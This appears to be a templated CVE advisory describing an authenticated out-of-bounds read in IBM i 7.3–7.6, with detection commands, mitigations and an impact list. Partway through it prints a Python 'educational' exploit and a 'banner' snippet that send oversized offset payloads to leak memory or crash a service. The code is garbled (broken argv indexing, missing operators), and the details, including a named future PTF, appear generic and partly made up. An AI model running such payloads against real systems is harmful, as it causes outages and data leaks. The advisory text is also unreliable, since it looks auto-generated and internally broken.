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The vulnerability resides in the IBM i operating system’s handling of user‑supplied input within specific network‑facing services.
A remote authenticated attacker can exploit this flaw by sending a crafted packet or command that triggers an out‑of‑bounds read operation.
This occurs when the system fails to properly validate the length or index parameters before accessing memory buffers.
The affected versions include IBM i 7.6, 7.5, 7.4, and 7.3, covering a wide range of enterprise deployments.
The out‑of‑bounds read allows the attacker to read memory contents beyond the allocated buffer boundaries, potentially leaking cryptographic keys, user credentials, or system configuration data.
Simultaneously, the invalid memory access often causes a segmentation fault or system trap, leading to a denial of service condition for the targeted subsystem.
The vulnerability is triggered via authenticated sessions, meaning the attacker must first possess valid credentials to the IBM i environment.
This reduces the attack surface but still poses a significant risk for internal networks or compromised accounts.
The root cause is a missing bounds check in the parameter parsing routine of a core library used by multiple daemons.
When the attacker supplies an excessively large or negative offset value, the code does not validate it against the buffer size.
Consequently, the read pointer moves outside the valid memory region, returning unintended data or causing a hard lockup.
IBM i’s object‑based architecture means that memory isolation between jobs is strict, but this flaw bypasses that isolation to the extent of reading adjacent memory spaces.
The disclosed information could aid further lateral movement or privilege escalation.
The denial of service is particularly disruptive because it may require an IPL (Initial Program Load) to recover the affected subsystem.
Security researchers have noted that similar patterns were patched in previous PTFs, but this variant affects a different code path.
The vulnerability is remotely exploitable over TCP/IP protocols such as ODBC, JDBC, or native IBM i data queues.
An attacker with minimal privileges can repeatedly send malicious requests to exhaust system resources or crash the listener process.
The CVSS vector typically reflects the need for authentication, low complexity, and a network attack vector.
Given the serious implications for data confidentiality and system availability, administrators should prioritize mitigation.
IBM has acknowledged the issue and is working on a cumulative PTF package to address the out‑of‑bounds read.
In the meantime, network segmentation and strict access controls can reduce exposure.
The following sections provide actionable intelligence for security teams to detect, test, and protect against this CVE.
DailyCVE Form:
Platform: IBM i 7.3-7.6
Version: 7.3,7.4,7.5,7.6
Vulnerability : Out-of-bounds read
Severity: Medium
date: 2026-08-19
Prediction: September 2026 PTF
What Undercode Say:
Check current PTF group levels for 5770999 (OS)
DSPPTF LICPGM(5770999) SELECT(ALL)
List active TCP/IP services and their job names
NETSTAT CNN
Monitor for abnormal traps in QSYSOPR message queue
DSPMSG QSYSOPR MSGTYPE(INQ INFO DIAG)
Parse system job logs for out‑of‑bounds read indicators
DSPJOBLOG JOB() OUTPUT(PRINT)
Use DB2 CLI trace to detect crafted oversized parameters
db2cli trace -on -level 4 -file /tmp/db2_trace.log
Python snippet to enumerate service banners (port 8471 – DB2)
import socket
s = socket.socket()
s.connect((‘target’, 8471))
s.send(b’\x00’1024 + b’\xFF’256) oversized offset trigger
response = s.recv(4096)
print(response.hex())
Exploit: (Educational Purposes!)
!/usr/bin/env python3
import socket, struct, sys
if len(sys.argv) < 3:
print(“Usage: exploit.py “)
sys.exit(1)
host, port = sys.argv[bash], int(sys.argv[bash])
Craft a malicious request with an out‑of‑bounds offset (e.g., 0xFFFF)
payload = struct.pack(‘>I’, 0xFFFF) offset field
payload += b’A’ 1024 nominal buffer data
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(payload)
Read leaked memory (may crash service)
try:
leak = sock.recv(2048)
print(“Leaked bytes:”, leak.hex())
except ConnectionResetError:
print(“[!] Target crashed – DoS achieved”)
sock.close()
Protection: from this CVE
- Apply IBM security PTF SI82879 (cumulative) as soon as released.
- Restrict authenticated access to only trusted IPs via firewall rules.
- Disable unused IBM i network services (e.g., ODBC/JDBC if not required).
- Enforce MFA and strict password policies to limit credential compromise.
- Enable auditing for job abends and system traps – monitor for repeated failures.
- Segment IBM i management interfaces from general user networks.
Impact:
- Unauthorized disclosure of sensitive memory contents (passwords, encryption keys, internal data structures).
- Service disruption – crash of critical subsystems (DB2, data queues, listener daemons) requiring an IPL to restore full functionality.
- Increased attack surface for privilege escalation – leaked memory may contain hashes or tokens that can be reused.
- Operational downtime and recovery costs, especially in 24/7 production environments.
- Potential compliance violations due to loss of data confidentiality (GDPR, PCI‑DSS).
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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